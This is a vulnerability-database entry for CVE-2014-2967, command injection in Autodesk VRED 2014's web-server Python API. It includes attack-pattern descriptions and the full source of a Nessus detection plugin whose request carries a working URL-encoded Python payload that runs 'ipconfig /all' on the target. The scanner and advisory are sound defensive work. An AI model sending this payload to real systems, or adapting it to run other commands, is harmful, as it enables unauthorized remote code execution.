Vulnerabilities > CVE-2014-2967 - OS Command Injection vulnerability in Autodesk Vred 2014

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
autodesk
CWE-78
critical
nessus

Summary

Autodesk VRED Professional 2014 before SR1 SP8 allows remote attackers to execute arbitrary code via Python os library calls in Python API commands to the integrated web server.

Vulnerable Configurations

Part Description Count
Application
Autodesk
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Nessus

  • NASL familyCGI abuses
    NASL idAUTODESK_VRED_CVE-2014-2967.NASL
    descriptionThe remote host has a version of Autodesk VRED that is vulnerable to an unauthenticated remote code execution via a Python API exposed by its built-in web server. This can allow a remote attacker to execute arbitrary code on the host.
    last seen2020-06-01
    modified2020-06-02
    plugin id76775
    published2014-07-24
    reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/76775
    titleAutodesk VRED Python API Remote Code Execution
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(76775);
      script_version("1.6");
      script_cvs_date("Date: 2019/11/26");
    
      script_cve_id("CVE-2014-2967");
      script_bugtraq_id(68364);
      script_xref(name:"CERT", value:"402020");
    
      script_name(english:"Autodesk VRED Python API Remote Code Execution");
      script_summary(english:"Attempts remote code execution via Python API.");
    
      script_set_attribute(attribute:"synopsis", value:
    "An application on the remote host is affected by a remote code
    execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote host has a version of Autodesk VRED that is vulnerable to
    an unauthenticated remote code execution via a Python API exposed by
    its built-in web server. This can allow a remote attacker to execute
    arbitrary code on the host.");
      script_set_attribute(attribute:"see_also", value:"https://www.autodesk.com/products/vred/overview");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Autodesk VRED 2014 SR1 SP8 or higher.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/06/26");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/06/26");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/07/24");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:autodesk:vred");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("http_version.nasl");
      script_require_ports("Services/www", 8888);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    
    appname = "Autodesk VRED";
    
    port = get_http_port(default:8888);
    
    # initial quick banner check
    banner = get_http_banner(port:port, exit_on_fail:TRUE);
    if ("Server: VREDMicroWebInterface" >!< banner) audit(AUDIT_WRONG_WEB_SERVER, port, "VREDMicroWebInterface (Autodesk VRED)");
    
    # now we attempt rce
    base_url = build_url(port:port, qs:"");
    
    # import os
    # print os.popen('ipconfig /all').read()
    rce_url = "pythonapi?value=import+os%0D%0Aprint+os.popen%28%27ipconfig+%2Fall%27%29.read%28%29";
    
    res = http_send_recv3(
      method: "GET",
      item: "/" + rce_url,
      port: port,
      exit_on_fail: TRUE
    );
    html = res[2];
    
    if ("Windows IP Configuration" >!< html) audit(AUDIT_WEB_APP_NOT_AFFECTED, "Autodesk VRED Web Server", base_url);
    
    output = strstr(html, "Windows IP Configuration");
    if ("</font>" >< output) output = substr(output, 0, stridx(output, "</font>")-1);
    
    if (report_verbosity > 0)
    {
      report +=
        '\n' + 'Nessus was able to verify the vulnerability exists using the following request :' +
        '\n' +
        '\n' + base_url + rce_url +
        '\n';
      if (report_verbosity > 1)
      {
        snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
        report +=
          '\n' + "Nessus was able to execute the command 'ipconfig /all', which produced" +
          '\n' + 'the following output :' +
          '\n' +
          '\n' + snip +
          '\n' + chomp(output) +
          '\n' + snip +
          '\n';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    
  • NASL familyWindows
    NASL idAUTODESK_VRED_2014_SR1_SP8.NASL
    descriptionThe remote host has a version of Autodesk VRED Pro that is vulnerable to an unauthenticated remote code execution via a Python API exposed by its built-in web server. This can allow a remote attacker to execute arbitrary code on the host.
    last seen2020-06-01
    modified2020-06-02
    plugin id76774
    published2014-07-24
    reporterThis script is Copyright (C) 2014-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/76774
    titleAutodesk VRED Pro 2014 < SR1 SP8 Remote Code Execution